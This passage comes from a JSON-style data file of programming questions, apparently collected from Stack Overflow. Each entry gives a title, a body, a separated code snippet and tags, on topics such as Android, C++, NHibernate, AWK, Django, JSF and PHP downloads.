drawing some graphics.\nWhile I can allocate the proper area to a View or
SurfaceView, the code examples I find for those use setContentView() and the
graphics section is rendered over the entire screen. What am I missing???\n", "",
"android android-layout"], "18497": ["Initializing classes from saved file", "In
Objective-C++, I want my application to be able to save and load files that express
the existence of certain C++ objects. For example, a user is running the
application and has created objects , , and of classes , , and . The user hits
save to create a file that lists these objects in some format. The application
should then be able to load from this file and initialize new objects , , and of
classes , , and by calling constructors , , and . (This is obviously a heavy
simplification of the process.)\nWhat do you think is the best strategy for doing
this? Is there any more elegant solution than a big switch statement mapping text
to constructors or something along those lines? Would function pointers help me
out? I could imagine doing something like having , , and register themselves with
the object that owns them, and it stores their constructors with a key somewhere,
but I'm wondering if there's something simple that I'm missing.\nThe big issue here
is that there are dozens of classes that must be saved so I want the lightest
solution possible.\n", "a", "c++ class constructor load save"], "1262685": ["Best
machine learning technique for matching product strings", "Here's a puzzle...\nI
have two databases of the same 50000+ electronic products and I want to match
products in one database to those in the other. However, the product names are not
always identical. I've tried using the Levenshtein distance for measuring the
string similarity however this hasn't worked. For example,\n\nThese items are the
same, yet their product names vary quite a lot. \nOn the other hand...\n\nThese are
different products with very similar product names.\nHow should I tackle this
problem? \n", "-LG 42CS560 42-Inch 1080p 60Hz LCD HDTV\n-LG 42 Inch 1080p LCD HDTV\
n", "machine-learning pattern-matching string-comparison levenshtein-distance"],
"3983174": ["Is version control about deployment history or development history?",
"... say I check out some code, do a little dev or refactoring or whatever .. do I
only check it back in when I'm completely happy? ... what if I change my mind
about stuff while i'm coding? can I go back to a previous local version? is there a
history of my local development?\nIs version control about deployment history or
development history?\n", "", "version-control"], "2451205": ["expand single object
functionality", "I'm new in objective-C and i wonder if its correct:\nI have a
class\n\nAnd then i created object of that class:\n\nAfter that i have another
class:\n\nDepends on what data i'm getting in BaseClass (object initializer,
methods later) i may want to expand functionality of object. So i want to
baseClassObject become object from AdvancedClass class.\n1) Is this correct?\n2) Is
this possible to \"promote\" object like that?\n", "@interface BaseClass :
NSObject\n", "objective-c ios"], "4456478": ["Oracle Browser Issues", "Are there
any browser issues with Oracle, specifically IE7, IE8 and Firefox? I.T. has told me
that I have to build all my sites to support IE6 because IE6 works with their
version of Oracle.\nThey've said that some of their apps break on newer browsers.
Can someone let me know if this is true or provide me with a link to verify this.
Thanks.\n", "", "oracle internet-explorer firefox browser known-issues"],
"3928255": ["Push Notification after resign an iPhone application", "I am wondering
to know how to use command line to resign an application (with push notification)
correctly.\nHere are some background:\n\nMy original application works well with
Push Notification.\nIf I resign the application via \"Organizer -> Archives ->
Share\"\nwith any developer cert, Push notification still works\nIf I resign the
application via command line , the app still works well. However, push notification
stop working with message \n\nIs there anybody know how to use command line do a
correct resign, after which push notification will work as normal?\nThanks.\n",
"codesign -f -s \"iPhone Distribution: *****\" -vv path/to/app", "iphone push-
notification"], "2155104": ["Is it possible to automate tasks for Microsoft
Communicator for OS X?", "I frequently disconnect from the ethernet on my macbook
pro at my desk to connect directly to the wireless in my office. During this time,
Microsoft Office Communicator decides to be friendly and disconnect me
automatically, without ever attempting to reconnect me.\nIs it possible to write an
Automator script or something similar for Office Communicator that will handle a
disconnect event with an immediate attempt to reconnect? I've noticed that
Microsoft has a Communicator Automation API that looks like it's Windows only, but
is there anything specifically for Mac?\nThanks!\n", "", "osx plugins ms-office
chat communicator"], "685470": ["Trying to write to binary plist format from Python
(w/PyObjC) to be fetch and read in by Cocoa Touch", "I'm trying to serve a property
list of search results to my iPhone app. The server is a prototype, written in
Python.\nFirst I found Python's built-in plistlib, which is awesome. I want to give
search-as-you-type a shot, so I need it to be as small as possible, and xml was too
big. The binary plist format seems like a good choice. Unfortunately plistlib
doesn't do binary files, so step right up PyObjC. \n(Segue: I'm very open to any
other thoughts on how to accomplish live search. I already pared down the data as
much as possible, including only displaying enough results to fill the window with
the iPhone keyboard up, which is 5.)\nUnfortunately, although I know Python and am
getting pretty decent with Cocoa, I still don't get PyObjC.\nThis is the Cocoa
equivalent of what I want to do:\n\nI thought I should be able to do something like
this, but dataWithPropertyList isn't in the NSPropertyListSerialization objects
dir() listing. I should also probably convert the list to NSArray. I tried the
PyObjC docs, but it's so tangential to my real work that I thought I'd try an SO
SOS, too.\n\nThis is how I'm reading in the plist on the iPhone side.\n\nHappy to
clarify if any of this doesn't make sense.\n", "NSArray *plist = [NSArray
arrayWithContentsOfFile:read_path];\nNSError *err;\nNSData *data =
[NSPropertyListSerialization dataWithPropertyList:plist\n
format:NSPropertyListBinaryFormat_v1_0\n options:0 // docs say
this must be 0, go figure\n error:&err];\n[data
writeToFile:write_path atomically:YES];\n", "python cocoa-touch search pyobjc"],
"3502295": ["Error: Cannot alter or drop column 'x' because it is enabled for Full-
Text Search", "I'm refactoring an old database and removing columns no longer in
use.\nThe DB used to have full text indexing, so, some column are marked for full
text. \nHow can I remove them?\nNotes: \n\nDB is MS SQL Server Express 2008\nFull
text search service is no longer installed\n\nEdit:\nI have tried \n\nBut gets this
error: \n\n", "ALTER FULLTEXT INDEX ON tableName DROP (ColumnName)\n", "tsql sql-
server-2008 full-text-search"], "597872": ["Android - Add contacts in 1.5", "I'm
making my application compatible with Android 1.5 (APLI level 3) from 2.3.3. The
only thing I have to change (according to the compiler) is the code used to add a
contact in the phonebook. The code for 2.3.3 is the following:\n\nThe problem with
1.5 is that ContactsContract is not recognized. \nHow can I convert this code for
1.5?\nRegards.\n", " Intent intent = new Intent(Intent.ACTION_INSERT);\n
intent.setType(ContactsContract.Contacts.CONTENT_TYPE);\n
intent.putExtra(ContactsContract.Intents.Insert.NAME, \"Name\");\n
intent.putExtra(ContactsContract.Intents.Insert.EMAIL, \"Email\");\n
intent.putExtra(ContactsContract.Intents.Insert.PHONE, \"phone\");\n int
PICK_CONTACT = 100;\n startActivityForResult(intent, PICK_CONTACT);\n",
"android contacts contactscontract"], "3175044": ["Flex: Get self SWF file name?",
"Is there a way I can programmatically determine the filename of the .swf my class
is running in?\nThanks!\n", "", "flex actionscript-3 flex3 filenames"], "5598934":
["Why does the Mac OS X (10.6) Finder stop being able to connect to Windows
computers?", "We have one Mac (a MacBook Pro Unibody) amongst our Windows machines
which connects to the \"server\" (actually a Dell running Windows XP Pro) to access
documents. This works just fine most of the time, but sometimes after waking from
sleep, it cannot connect to any Windows computer on the network.\nThere are no
errors (nor even any messages) in the Console application when attempting to
connect either by the Finder's network browsing, nor when using the \"Connect To
Server\" menu, either by name or IP.\nI have tried \"Relaunch\" on Finder, toggled
File Sharing, disabled and re-enabled the Airport, but nothing makes the Mac able
to connect again until I reboot it!\nOther computers can connect to the machines,
so it is definitely the Mac at fault.\nAre
there any workarounds that anyone has found? Is there perhaps a way to re-start
the samba client?\nEdit:\nThe laptop is indeed using wireless, but all network
connectivity is working, the Mac can ping the XP host it's trying to connect to and
browse the internet just fine.\nI've tried using the IP address of the host machine
in the \"Connect to Server\" menu item; That is now mentioned above.\n", "",
"windows macosx samba mac smb"], "703497": ["Reading barcodes & sending information
to ASP.NET", "I have an application to be used in a shop, where the employee needs
to read the barcode of an item and have its details showing up on screen. The
application is to be built in ASP.NET.\nIs this doable? Do I need 3rd party
libraries. Can a server-side like ASP.NET read client side barcodes?\nThanks\n",
"", "asp.net-mvc-3 barcode-scanner"], "3934167": ["What is database pooling?", "I
just wanted to know the concept of database pooling.How it is achieved.\n", "",
"java database database-connection"], "5976400": ["Wordpress creating custom fields
in custom plugins code", "As per requirement, i need to create plugin with custom
fields in the wordpress 3.0. I have a look at creating the plugins in wordpress. I
can able to create the plugins with custom fields by hardcoded HTML fields code.
Like providing input type name id etc. \nBut I need to create the fields like
textbox, image upload, buttons using wordpress custom fields functions. Just
calling the functions with type the field need to generate the fields. As like I
already did in the drupal 7. \nBelow is the sample code for creating the text field
in the drupal 7 \n\nIs it possible in the wordpress?. Please guide me in the
wordpress to create the custom plugins. Thanks in Advance...\n", "$form['posts']
['Title'] = array(\n '#prefix' => '<div class=\"container-inline\">',\n
'#required' => '1',\n '#size' => '20',\n '#type' => 'textfield',\n
'#title' => t('Title'),\n '#suffix' => '</div>',\n);\n", "wordpress drupal
plugins custom-fields"], "3905992": ["ASP.NET MVC 3: Dynamically Loading Partial
Views", "I want to extend an existing CMS system, and I'm trying to add \"module\"
support.\nMy goal is to be able to apply a module by adding a marker within the
database content it's self.\nExample:\n\nThe above example is very ad hoc, but you
get the picture. I'd like to be able to dynamically load a view and use the news
feed ID of .\nThe problem with this is that the content from the Model is the last
thing over the wire, so I'm not sure how to tell the view to swap out the marker
for the partial.\nAny direction will be appreciated.\nEDIT\nI'd also be open to
suggestions on how to parse the content in the controller before passing it to the
view.\n", "<p>\n My fun content that is located in a paragraph tag\n</p>\
n[news:1234]\n <p>\n ... more fun content within a different paragraph
tag\n</p>\n", "asp.net-mvc-3 content-management-system razor"], "6013720": ["JBoss
AS 7 wsconsume: Failed to compile generated code - @XmlElementRef - required", "I'm
trying JBoss AS 7 wsconsume.sh, but I get compilation error on generated sources.\
nWhat's wrong?\nThe WSDL file comes from
https://isir.justice.cz:8443/isir_ws/services/IsirPub001?wsdl\nand it has few
formal errors.\n\n", "$ ./wsconsume.sh -p cz.pohlidame.clientJBoss -o fooOut -s
fooSrc -t 2.2 -e ~/proj/pohlidame.cz/wsdl-consumer/IsirPub001.wsdl \nCould not find
log4j.xml configuration, logging to console.\n\nTODO! Cheek SOAP 1.2 extension\
nWSConsume (CXF) does not allow to setup the JAX-WS specification target, using the
currently configured JAX-WS version (check your JVM version and/or endorsed libs)\
nLoading FrontEnd jaxws ...\nLoading DataBinding jaxb ...\nwsdl2java -compile -exsh
false -p cz.pohlidame.clientJBoss -verbose -classdir /home/ondra/work/AS7/ozizka-
git/build/target/jboss-as-7.2.0.Alpha1-SNAPSHOT/bin/fooOut -allowElementReferences
file:/home/ondra/proj/pohlidame.cz/wsdl-consumer/IsirPub001.wsdl\nwsdl2java -
Apache CXF 2.4.6\n\n ^\
n./cz/pohlidame/clientJBoss/IsirPub001Data.java:63: cannot find symbol\nsymbol :
method required()\nlocation: @interface javax.xml.bind.annotation.XmlElementRef\
n@XmlElementRef(name = \"spisZnacka\", type = JAXBElement.class, required = false)\
n ^\n3 errors\nFailed
to invoke WSDLToJava\norg.apache.cxf.tools.common.ToolException: Failed to compile
generated code\n at
org.apache.cxf.tools.common.ClassUtils.compile(ClassUtils.java:115)\n at
org.apache.cxf.tools.wsdlto.WSDLToJavaContainer.processWsdl(WSDLToJavaContainer.jav
a:265)\n at
org.apache.cxf.tools.wsdlto.WSDLToJavaContainer.execute(WSDLToJavaContainer.java:13
8)\n at
org.apache.cxf.tools.wsdlto.WSDLToJavaContainer.execute(WSDLToJavaContainer.java:28
6)\n at
org.apache.cxf.tools.common.toolspec.ToolRunner.runTool(ToolRunner.java:103)\n
at org.apache.cxf.tools.wsdlto.WSDLToJava.run(WSDLToJava.java:113)\n at
org.jboss.wsf.stack.cxf.tools.CXFConsumerImpl.consume(CXFConsumerImpl.java:250)\n
at org.jboss.ws.tools.cmd.WSConsume.importServices(WSConsume.java:279)\n at
org.jboss.ws.tools.cmd.WSConsume.mainInternal(WSConsume.java:104)\n at
org.jboss.ws.tools.cmd.WSConsume.main(WSConsume.java:92)\n at
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\n at
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)\n
at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:2
5)\n at java.lang.reflect.Method.invoke(Method.java:597)\n at
org.jboss.modules.Module.run(Module.java:270)\n at
org.jboss.modules.Main.main(Main.java:294)\n", "web-services cxf consuming"],
"5934802": ["Fluent NHibernate 1.1: when multiple column name mappings are used on
different classes", "Suppose I have this (simplified)\nClass Cliente \nId(v =>
v.numero_cliente, \"numero_cliente\")\nHasMany(v =>
v.Acionamentos).Cascade.All().LazyLoad()\nClass Movimentacao\nReferences(v =>
v.Cliente, \"id_Fornecedor\")\nClass Acionamento\nReferences(v =>
v.Cliente, \"numero_cliente\")\nFluent nHibernate will generate wrong SQL, for
example:\nIf i try to get Acionamentos,then it will throw an incorrect SQL: \
nSELECT * FROM Acionamentos WHERE id_Fornecedor=p0\nBut on my Acionamento Mapping i
set an reference to a column named numero_cliente and not to id_Fornecedor\nIf I
use always the same column name \"numero_cliente\" on all References, no problem
happens. But i am afraid i will not be able to guarantee that all column names for
the Client class will be the same on all tables.\nDoes somebody knows what to do?
Can the Fluent NHibernate team see this and post an comment here?\nIf you want the
exact SQL here is:\ncould not initialize a collection: \
n[Sistema.Clientes.Cliente.Acionamentos#019012938/07][SQL: SELECT
acionament0_.id_Fornecedor as id7_1_, acionament0_.id_Acionamento as id1_1_,
acionament0_.id_Acionamento as id1_6_0_, acionament0_.DataHora as DataHora6_0_,
acionament0_.Tipo as Tipo6_0_, acionament0_.Descricao as Descricao6_0_,
acionament0_.numero_cliente as numero5_6_0_, acionament0_.id_Usuario as id6_6_0_
FROM clientes.acionamento acionament0_ WHERE acionament0_.id_Fornecedor=?\nThe
error above throwns when trying to get the Cliente.Acionamentos\n\nBelow is the HBM
XML:\nSistema.Clientes.Cliente.hbm.xml:\n\nSistema.CRM.Acionamento.hbm.xml:\n\
nEstoque.Movimentacao.hbm.xml:\n\n", "<id name=\"numero_cliente\"
type=\"System.String, mscorlib, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089\">\n <column name=\"numero_cliente\" /> \n
<generator class=\"assigned\" /> \n</id>\n<bag cascade=\"all\" lazy=\"true\"
name=\"Acionamentos\" mutable=\"true\">\n <key>\n <column
name=\"id_Fornecedor\" /><!-- oopps, this should be numero_cliente --> \n
</key>\n <one-to-many class=\"Sistema.CRM.Acionamento, Sistema, Version=1.0.0.0,
Culture=neutral, PublicKeyToken=null\" /> \n</bag>\n", "fluent-nhibernate"],
"3928256": ["on what programming language is android os and its kernel written?",
"I just want to know on what programming language is android operating system and
it kernel is written..\n\n", "", "android kernel"], "2476409": ["How to merge two
files using AWK?", "File 1 has 5 fields A B C D E, with field A is an integer-
valued \nFile 2 has 3 fields A F G\nThe number of rows in File 1 is much bigger
than that of File 2 (20^6 to 5000) \nAll the entries of A in File 1 appeared in
field A in File 2 \nI like to merge the two files by field A and carry F and G \
nDesired output is A B C D E F G\nExample \nFile 1\n\nFile 2\n\nThanks for your
help\n", " A B C D E\n4050 S00001 31228 3286 0\n4050 S00012 31227
4251 0\n4049 S00001 28342 3021 1\n4048 S00001 46578 4210 0\n4048 S00113 31221 4250
0\n4047 S00122 31225 4249 0\n4046 S00344 31322 4000 1\n", "linux bash unix awk"],
"605504": ["Redirecting to last view after login", "I have wrestled with this one
for a bit and googled and looked through documentation, so I guess its time to ask.
I am trying make my app redirect to the last viewed page after logging in. I am
running django 1.2.4 and have had no luck so far. \nThis Stack Overflow thread
seemed like it would do the trick but I have not had success with it: \nDjango:
Redirect to previous page after login... \nCurrently after logging in from any view
I am redirected to: //localhost:1100/accounts/profile/ \nsettings.py has this
suggested code: \n \"django.core.context_processors.request\", \nWith this as my
login button link: \n \nI also made sure to import the RequestContext in my
views.py file: \n from django.template import RequestContext \nI get the
impression this is not working. Also I noticed now \nlogin URL has a partial next
URL in it: \n//localhost:1100/accounts/login/?next= \nSuggestions? \nThanks
in advance! \n", "<a href=\"{% url django.contrib.auth.views.login %}?
next={{request.path}}\">login</a>", "django redirect"], "5085245": ["Why do active
patterns require special syntax?", "If ordinary functions could be used as patterns
it would save having to write trivial active patterns like\n\nand would,
hypothetically, allow\n\nThis would make functions more reusable, removing the need
for \"patternizing\" functions you want to use with matching:\n\nI know active
patterns may be called as functions, so the previous example could be simplified by
defining the pattern only. But forgoing the special pattern syntax simplifies this.
\nWhat are the reasons for the special syntax?\nEDIT\nIn the following the active
pattern shadows the literal.\n\nWhy wouldn't that work for function calls within
patterns also?\nEDIT 2\nI found a scenario that would be ambiguous\n\nThis, in my
mind, clarifies why an active pattern must begin with an uppercase letter--it makes
the intention clearer and makes shadowing, such as in my previous example, much
less likely.\n", "let (|NotEmpty|_|) s = Seq.tryPick Some s\n", "f# pattern-
matching active-pattern"], "5477729": ["PostgreSQL: Copy/paste resulting with
headers into Excel without code", "I used MSSQL where I could right click the
result, copy with headers and paste it to Excel for a quick glance. Now with
PostgreSQL I could only find 1.File > Export > CSV (long way) or 2.COPY (SELECT *
FROM tbl) TO '/var/lib/postgres/myfile1.csv' (ERROR: must be superuser to COPY to
or from a file)\nIs there any easy way to take the data, put it in Excel for a
quick glance?\nThank you!\n", "", "excel postgresql copy-paste"], "1040770":
["Sorting the bibliography by entry type", "I am using BibTeX. For overall
configuration I use a file. I am looking for a way to sort the bibliography in
this order: Books, articles, and miscellaneous. Currently all types of materials
get sorted according to author name. As I am not using author parameter for , all
categories appear first, which I don't want to happen.\n", ".cls", "bibtex
sorting"], "3430266": ["JSF tags not rendered", "I am new to JSF, but my JSF tags
are not rendered in xhtml file,\ni tried out every possible solution, but problem
is not solved\nmy web.xml\n\nmy example.xhtml\n\nI had spend 3 days to figure out
the problem, any help will be welcome\n", "<?xml version=\"1.0\" encoding=\"UTF-
8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns=\"http://java.sun.com/xml/ns/javaee\"
xmlns:web=\"http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd\"
xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd\" id=\"WebApp_ID\"
version=\"2.5\">\n <display-name>JSFProject</display-name>\n <welcome-file-list>\
n <welcome-file>JSFProject/index.html</welcome-file>\n <welcome-
file>JSFProject/index.htm</welcome-file>\n
<welcome-file>JSFProject/index.jsp</welcome-file>\n
<welcome-file>JSFProject/default.html</welcome-file>\n <welcome-
file>JSFProject/default.htm</welcome-file>\n
<welcome-file>JSFProject/default.jsp</welcome-file>\n </welcome-file-list>\n
<context-param>\n <param-name>javax.faces.PROJECT_STAGE</param-name>\n
<param-value>Development</param-value>\n </context-param>\n\n <servlet>\n
<servlet-name>Faces Servlet</servlet-name>\n <servlet-
class>javax.faces.webapp.FacesServlet</servlet-class>\n
<load-on-startup>1</load-on-startup>\n </servlet>\n\n\n\n <servlet-mapping>\n
<servlet-name>Faces Servlet</servlet-name>\n <url-pattern>*.xhtml</url-pattern>\
n </servlet-mapping>\n</web-app>\n", "java jsf facelets"], "5139052":
["Counterintuitive PDE", "After thinking about it for a while and consulting other
students, no one seems to be able to find an example of the following:\nGiven the
PDE \n$\\dfrac{\\partial f}{\\partial x} = 0 \\quad $ on $U = {\u00a0(x,y) \\
in \\mathbb R^2 ; y>0, 1 < x^2 + y^2 < 4}$\nI am looking for a solution $f$ that
does not only depend on $y$.\nHow can this be?!\nThe exercise is taken form
Lee's \"Introduction to smooth manifolds\", p. 517 at the end of the chapter on the
Frobenius theorem.\n(Note: According to the errata, the condition on $U$ is $y >
0$, not $x > 0$ as your copy of the book might state).\nThanks in advance!\nS. L.\
n", "", "differential-equations pde"], "5134618": ["How to I get the property
belonging to a custom attribute?", "I need to find the type of the property that a
custom attribute is applied to from within the custom attribute. \nFor example:\n\
nGiven the instance of MyAttribute, how could I get a Type descriptor for
MyProperty?\nIn other words, I am looking for the opposite of
System.Type.GetCustomAttributes()\n", "[MyAttribute]\nstring MyProperty{get;set;}\
n", "c# reflection attributes"], "2767671": ["Accessing FacesContext from a
thread", "In my JSF app I need to display FacesMessage from another thread.
Acording to docs it's not possible. But maybe there is some trick to do so? I can't
see another way to do what I wan't to :(\n", "", "multithreading jsf
facescontext"], "5975539": ["Does Chrome Remote Desktop work through LAN aswell?",
"Assuming both my Client and Server are on the same LAN, would the connection for
Chrome Remote Desktop go through the LAN only, or would it still travel through
Google Servers thereby adding to the ping and adding to the perceived \"lag\"?\
nThanks.\n", "", "windows google-chrome remote-desktop google-chrome-extensions"],
"4967335": ["TeeChart ScrollPager tool doesn\u2019t work in WPF project", "I want
to use TeeChart (http://www.teechart.net/) ScrollPager tool in my WPF project, but
it doesn\u2019t work. (TeeChart.WPF.dll version
4.1.2012.2287)\n\nhttp://img190.imageshack.us/img190/4900/scrwpf.png\n\n\n\n\nIn
WinForms project it works
fine.\n\nhttp://img692.imageshack.us/img692/4527/scrwinforms.png\n\n\n\n\n\
nThanks,\nAlex\n", "namespace TeeChart\n{\n using Steema.TeeChart.WPF.Themes;\n
using Steema.TeeChart.WPF.Tools;\n using Steema.TeeChart.WPF.Styles;\n using
Steema.TeeChart.WPF.Drawing;\n\n public partial class MainWindow\n {\n
private Line _series;\n private ScrollPager _tool;\n BlackIsBackTheme
_black; \n\n public MainWindow()\n {\n
InitializeComponent();\n\n _series = new Line();\n
tChart1.Series.Add(_series);\n tChart1.Chart.Aspect.View3D = false;\n
tChart1.Header.Visible = false;\n tChart1.Legend.Visible = false;\n\n
_series.FillSampleValues(500);\n\n _black = new
BlackIsBackTheme(tChart1.Chart);\n _black.Apply();\n\n\n
_tool = new ScrollPager();\n tChart1.Tools.Add(_tool);\n\n
_tool.Series = _series;\n _black = new
BlackIsBackTheme(_tool.SubChartTChart.Chart);\n _black.Apply();\n\n
_tool.SubChartTChart.Panel.Pen.Visible = false;\n
_tool.SubChartTChart.Panel.Bevel.Inner = BevelStyles.None;\n
_tool.SubChartTChart.Panel.Bevel.Outer = BevelStyles.None;\n }\n }\n}\n",
"c# .net charts teechart"], "18494": ["What does \"SAVED and set. (mismatch)\" (and
in particular the \"mismatch\" part) mean in emacs customize?", "I was just trying
to customize some export settings in emacs, and so I did M-xcustomize-grouporg-
export-html. This brought up by Customize buffer, and, among other things, I went
about changing the to something more to my liking.\nPossibly relevant: During this
process, I'd used a few C-o's to open new lines, so the value would look nice to me
on the screen, and I could tell what I was doing. When satisfied, I clicked on the
State button, and chose . Because (I presume) of the C-o newlines, it then said:\
n\nSo, I then chose , which got rid of that, but replaced it with this:\n\nOK,
so... all is well... except... In both of those lines, what does mean? That
there's a mismatch between what's saved in my emacs init file and what I'm looking
at? That there's a mismatch between... Well, looking around further, I even see
some customize entries that say:\n\nStandard and mismatch? (There are others which
just say , by the way.)\nI want to understand what \"mismatch\" means. Any hints?\
nThanks!\n\nAddenda:\nI just went digging a little in , and found this in the
comments:\n\nThis helps, a little... does it just mean that 's type specifier is
wrong? Looking at that (in ), it specifies , but in reality it seems to be a plist
(even its default value is of the form .) Is this just bad cleanliness on the part
of ? But then, even another variable in here says \"mismatch\", but seems
logically to have a value that makes sense. The value is (and I checked in my
emacs init, and it's just the symbol , no quotes or anything), and the type
specifier for that is:\n\n... which would seem to match that third line. No? Is
not a valid value for ?\n", "org-mode", "emacs customization dot-emacs"],
"5605921": ["What was the first server-side language", "I was thinking about
different server-side languages and this question immediately cropped up in my
mind. What was the first server-side programming language using which websites were
being created? Was it java or some other language?\nNote: I think some languages
became prime server-side because they provided or rather aimed to provide better
tools and libraries for easy development. I agree Java was not primarly server-side
but it provided better tools and hence was and is used a lot.\n", "", "programming-
languages web-development history server-side"], "2152731": ["Installing Ruby 1.8.6
via RVM on Snow Leopard", "I'm trying to install ruby 1.8.6 onto Snow Leopard - but
am getting some make errors:\n\nAnyone have any ideas?\n", "ossl_x509revoked.c: In
function \u2018ossl_x509revoked_new\u2019:\nossl_x509revoked.c:48: warning: passing
argument
2 of \u2018ASN1_dup\u2019 from incompatible pointer type\nossl_x509revoked.c: In
function \u2018DupX509RevokedPtr\u2019:\nossl_x509revoked.c:64: warning: passing
argument 2 of \u2018ASN1_dup\u2019 from incompatible pointer type\nreadline.c: In
function \u2018username_completion_proc_call\u2019:\nreadline.c:730: error: \
u2018username_completion_function\u2019 undeclared (first use in this function)\
nreadline.c:730: error: (Each undeclared identifier is reported only once\
nreadline.c:730: error: for each function it appears in.)\nmake[1]: ***
[readline.o] Error 1\nmake: *** [all] Error 1\n", "osx-snow-leopard ruby"],
"2817368": ["How do you make a browser download a file without changing its
name/extension?", "Question: is it possible to make a file download from a web
browser to the user's machine without the browser changing its filename?\
nBackground: I have a shareware app and users may buy a license to activate it. The
license is an XML file but the extension is \".mlic\", not \".xml\". mlic is a
special file extension my app recognizes. After users pay they are redirected to
my PHP script which pushes the mlic file and relevant HTTP headers. My script is
below.\nProblem: some people are telling me the file downloads as license.xml or
license.mlic.xml, and they don't know what to do with this file. I don't know what
browser or OS these people are using. I can't replicate. My app is Mac only so
this would pertain to OS X.\nSolution: can anything be done about this? Are there
HTTP headers that explicitly specify a file extension?\n\n", "header(\"Pragma:
public\");\nheader(\"Expires: 0\");\nheader(\"Cache-Control: must-revalidate, post-
check=0, pre-check=0\");\nheader(\"Cache-Control: public\");\nheader(\"Content-
Description: File Transfer\");\nheader(\"Content-type: application/octet-
stream\");\nheader(\"Content-Disposition: attachment;
filename=\\\"license.mlic\\\"\");\nheader(\"Content-Transfer-Encoding: binary\");\
nheader(\"Content-Length: \" . $filesize($input_path));\n\nob_end_flush();\
n@readfile($input_path);\n", "http-headers file-download content-type file-
extension content-disposition"], "3410914": ["Grey box appears when CTRL+Tab in
Netbeans on Ubuntu", "I've been using Netbeans on Ubuntu for years. A long-
standing problem I've had is when I CTRL + Tab between windows in it and
occasionally I get a grey box appearing in the centre of the screen. Although its
not a major problem (I have to restart Netbeans to get rid of it), it is
irritating.\nDoes anyone know how I can permanently get rid of it?\nCurrent Setup\
nNetbeans 7.2.1 - has happened since 6.9\nUbuntu 12.10\nOracle Java 1.7.0_11 -
happens when I use Java 6/7 and OpenJDK 6/7 too\n", "", "ubuntu netbeans jdk"],
"3998711": ["Change URL for Blog?", "Using WP 3.1.1 as a CMS, using the Boldy
theme.\nHome page is at http://www.dekho.com.au\nAdvantage of using this theme, is
that it comes setup with a homepage that has a gallery slider and some homeboxes at
the bottom. \nTo get to the blog, I had to dump all my posts into a category
called blog.\n- The themes docco advises to do this]3.\nI can then link to this
blog category from the top menu.\nThis then passes me to this
URL:\nhttp://www.dekho.com.au/?category_name=blog\nI want to know how to retain the
home page provided by Boldy, but have the blog on a separate page with the
following URL:\ndekho.com.au/blog\n", "", "url-rewriting"], "114782": ["Run Firefox
in Backend using Selenium webdriver in Python", "I am working on a website scraping
project using Selenium in Python. I am wondering if I can start the firefox in the
backend or open Firefox in another workspace in Ubuntu ?\nIs it also possible to
pass the properties though the webdriver() ?\nThanks\n", "user-agent", "python
selenium webdriver web-scraping user-agent"], "2771496": ["Using Java, how to get
the 'ActualWidth' of the text of a TextBlock and use it?", "See subject title.\nI
have a method in Java that draws a TextBlock element:\n\nHowever, the Width of the
TextBlock must be exactly as wide as the width of the text I give to it.\nHow would
this be done?\nThanks\n", "public void drawTextBlock(String text) {\n Element
textBlock = new Element(\"TextBlock\", Ns.getDefaultNamespace());\n
textBlock.setAttribute(new Attribute(\"Text\", text));\n}\n", "java xaml width
textblock"], "5034822": ["Thinkpad T400 wireless drops connection randomly",
"Thinkpad T400, Ubuntu 10.04, not dual-booting with Windows so any Windows-based
solutions are out of the question.\nI have tried disabling the N part of the wifi
driver but that didn't work. It connects and then drops the connection a few
minutes later.\nI have checked the power management settings and there doesn't seem
to be anything obvious that could be linked to it.\n", "", "ubuntu wireless-
networking ubuntu-10.04 thinkpad"], "2386499": ["Curved text in Java", "I am
looking for the simplest way to draw some\ntext around an ellipse object on my
app.\nI need to create a feeling of \"cuddling\"..\nSo far, I 've used the
Graphics2D class to print my drawings \non screen and my \"canvas\" is a
BufferedImage .\nThe width and height of my ellipses are constant at 50,50
respectively.\nAny suggestions?\nThank you in advance\n", "", "java text round"],
"3022184": ["How to use has_archive but disable feed per post type?", "What is the
best way to disable feeds per post type but keep has_archive enabled?\n", "",
"custom-post-types feed custom-post-type-archives"], "1777088": ["How Do I Navigate
/ Update The Haxe SDK Inside of FDT?", "On OSX, FDT has the Haxe SDK
here:\n/Applications/FDT 5.app/Contents/FDT5/haxe/haxe-2.09-osx\nBecause this is
inside of a OSX package, I can't navigate to it. How to I either:\n\nSelect it in
the preferences.\nUpdate it.\n\n\n", "", "sdk setup haxe fdt"], "939276": ["How do
I save each sheet in an Excel 2010 workbook to separate CSV files with a macro?",
"This question is very similar to the previously posted question: Macro to save
each sheet in an Excel workbook to separate CSV files\nHowever, my requirements are
slightly different in that I need to have the ability to ignore specifically named
worksheets (see #2 below).\nI have been successful in utilizing the solution posted
in this answer: http://stackoverflow.com/a/845345/1289884 which was posted in
response to the question above meets almost all of my requirements with the
exception of #2 below and #3 below: \nI have an excel 2010 workbook that consists
of multiple worksheets and I am looking for a macro that will:\n\nSave each
worksheet to a separate comma delimited CSV file.\nIgnore specific named
worksheet(s) (i.e. a sheet named TOC and sheet name Lookup)\nSave files to a
specified folder (example: c:\\csv)\n\nIdeal Solution would additionally:\n\nCreate
a zip file consisting of all of the CSV worksheets within a specified folder\n\nAny
help would be greatly appreciated. \n", "", "excel csv excel-vba zip"], "4178693":
["Searchlogic on associations", "I have the following associations:\n\nIf I have a
BookShelf object, how could I use searchlogic to search pages that belong to the
books in the current book shelf?\nCurrently I'm using this one:\n\nSo the paginate
part is just the use of will_paginate which is not really relavent.\nThe point is I
think these lines of codes are somewhat ugly. Is there any improvements?\n", "class
BookShelf {\n has_many :books\n}\n\nclass Book {\n has_many :pages\n
